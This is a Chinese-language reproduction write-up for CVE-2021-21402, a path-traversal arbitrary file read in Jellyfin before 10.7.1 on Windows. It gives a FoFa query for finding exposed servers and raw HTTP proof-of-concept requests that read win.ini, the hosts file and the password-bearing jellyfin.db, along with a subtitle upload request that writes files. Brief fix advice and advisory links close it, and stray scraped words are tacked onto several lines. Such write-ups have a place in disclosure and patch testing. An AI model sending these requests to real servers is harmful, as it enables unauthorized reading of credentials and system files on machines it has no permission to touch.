CVE-2021-21402 Jellyfin任意文件讀取

CVE-2021-21402 Jellyfin任意文件讀取

漏洞簡介

jellyfin 是一個自由的軟件媒體系統,用於控制和管理媒體和流媒體。它是 emby 和 plex 的替代品,它經過多個應用程序從專用服務器向終端用戶設備提供媒體。Jellyfin 屬於 Emby 3.5.2 的下一代,並移植 .NET 核心框架,以支持徹底的跨平臺支持。git

Jellyfin10.7.1版本中,攻擊者惡意構造請求將容許從Jellyfin服務器的文件系統中讀取任意文件。當Windows用做主機OS時,此問題更加廣泛。暴露於公共Internet的服務器可能會受到威脅。在版本10.7.1中已修復此問題。解決方法是,用戶能夠經過在文件系統上實施嚴格的安全權限來限制某些訪問。github

影響版本:數據庫

Jellyfin<10.7.1windows

漏洞復現

注:互聯網資產非受權請勿測試api

FoFa搜索:"Jellyfin"安全

POC:

GET /Audio/anything/hls/..\data\jellyfin.db/stream.mp3/ HTTP/1.1

GET /Videos/anything/hls/m/..\data\jellyfin.db HTTP/1.1

GET /Videos/anything/hls/..\data\jellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1

要下載的PoC c:\temp\filename.jpg: 
GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1 
GET /Images/Ratings/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1
POST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1
...
X-Emby-Authorization: MediaBrowser DeviceId="...", Version="10.7.0", Token="..."
...

{"language":".\\..\\","format":".\\..\\test.bin","isForced":false,"data":"base64 encoded data"}

讀取文件:

能夠讀取未經身份驗證的任意文件
/Audio/{Id}/hls/{segmentId}/stream.mp3
/Audio/{Id}/hls/{segmentId}/stream.aac

無論是.mp3仍是.aac都是能夠未經受權讀取windows的文件的。經過在URL路徑中使用斜槓,返回一個空擴展名,從而得到對結果文件路徑的徹底控制。服務器

GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.aac/ HTTP/1.1
GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/ HTTP/1.1

讀取host文件
GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Chosts/stream.mp3

讀取帶有密碼的數據庫文件:
GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1

修復建議:

  • 更新至10.7.1版本。
  • 在Web應用防火牆上添加防禦規則。

參考連接:

https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1框架

https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/ide

https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx測試

https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7

相關文章
相關標籤/搜索